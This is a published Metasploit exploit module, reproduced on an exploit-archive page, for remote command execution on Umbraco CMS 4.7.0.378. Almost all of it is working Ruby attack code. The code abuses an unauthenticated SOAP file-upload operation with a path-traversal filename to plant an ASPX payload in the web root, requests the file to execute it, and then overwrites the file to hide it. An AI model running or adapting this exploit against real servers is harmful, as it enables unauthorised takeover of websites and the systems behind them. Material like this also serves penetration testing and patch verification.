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Umbraco CMS Remote Command Execution

Umbraco CMS Remote Command Execution
Posted Jul 6, 2012
Authored by juan vazquez, Toby Clarke | Site metasploit.com

This Metasploit module can be used to execute a payload on Umbraco CMS 4.7.0.378. The payload is uploaded as an ASPX script by sending a specially crafted SOAP request to codeEditorSave.asmx, which permits unauthorised file upload via the SaveDLRScript operation. SaveDLRScript is also subject to a path traversal vulnerability, allowing code to be placed into the web-accessible /umbraco/ directory. The module writes, executes and then overwrites an ASPX script; note that though the script content is removed, the file remains on the target. Automatic cleanup of the file is intended if a meterpreter payload is used. This Metasploit module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows 7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have write permissions on the Windows Temp folder.

tags | exploit, web, asp, file upload
systems | windows, 7
MD5 | 55b249c7b416e0039642bb1ad643fe1b

Umbraco CMS Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'Umbraco CMS Remote Command Execution',
'Description' => %q{
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
The payload is uploaded as an ASPX script by sending a specially crafted
SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
via the SaveDLRScript operation. SaveDLRScript is also subject to a path
traversal vulnerability, allowing code to be placed into the web-accessible
/umbraco/ directory.

The module writes, executes and then overwrites an ASPX script; note that
though the script content is removed, the file remains on the target. Automatic
cleanup of the file is intended if a meterpreter payload is used.

This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
write permissions on the Windows Temp folder.
},
'Author' => [
'Toby Clarke', # Vulnerability discovery and Metasploit module
'juan vazquez' # Improved version of the Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
],
'Targets' =>
[
[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jun 28 2012'
)

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
], self.class)
end

#
# Remove the asmx if we get a meterpreter.
#
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
return
end

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

begin
aspx = @upload_random + '.aspx'

print_status("#{@peer} - Searching: #{aspx}")
files = cli.fs.file.search("\\", aspx)
if not files or files.empty?
print_error("Unable to find #{aspx}. Please manually remove it.")
return
end

files.each { |f|
print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
cli.fs.file.rm(f['path'] + "\\" + f['name'])
}
print_status("#{@peer} - #{aspx} deleted")
rescue ::Exception => e
print_error("Unable to delete #{aspx}: #{e.message}")
end
end

# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
def exploit

@peer = "#{rhost}:#{rport}"

# Generate the ASPX containing the EXE containing the payload
exe = generate_payload_exe
aspx = Msf::Util::EXE.to_exe_aspx(exe)

# htmlentities like encoding
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")

uri_path = target_uri.path
uri_path.path << "/" if uri_path[-1, 1] != "/"

@upload_random = rand_text_alpha(rand(6) + 6)

soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveDLRScript xmlns="http://tempuri.org/">
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
<oldName>string</oldName>
<fileContents>#{aspx}</fileContents>
<ignoreDebugging>1</ignoreDebugging>
</SaveDLRScript>
</soap:Body>
</soap:Envelope>
eos

#
# UPLOAD
#

attack_url = uri_path + "webservices/codeEditorSave.asmx"
print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")

res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
},
'data' => soap,
}, 20)

if (! res)
print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
else
print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
end

#
# EXECUTE
#

upload_path = uri_path + "#{@upload_random}.aspx"
print_status("#{@peer} - Executing #{upload_path}...")

res = send_request_cgi({
'uri' => upload_path,
'method' => 'GET'
}, 20)

if (! res)
print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
return
end

#
# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
#

soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveDLRScript xmlns="http://tempuri.org/">
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
<oldName>string</oldName>
<fileContents></fileContents>
<ignoreDebugging>1</ignoreDebugging>
</SaveDLRScript>
</soap:Body>
</soap:Envelope>
eos

attack_url = uri_path + "webservices/codeEditorSave.asmx"
print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")

res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
},
'data' => soap,
}, 20)

if (! res)
print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
return
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
else
print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
end
handler
end
end

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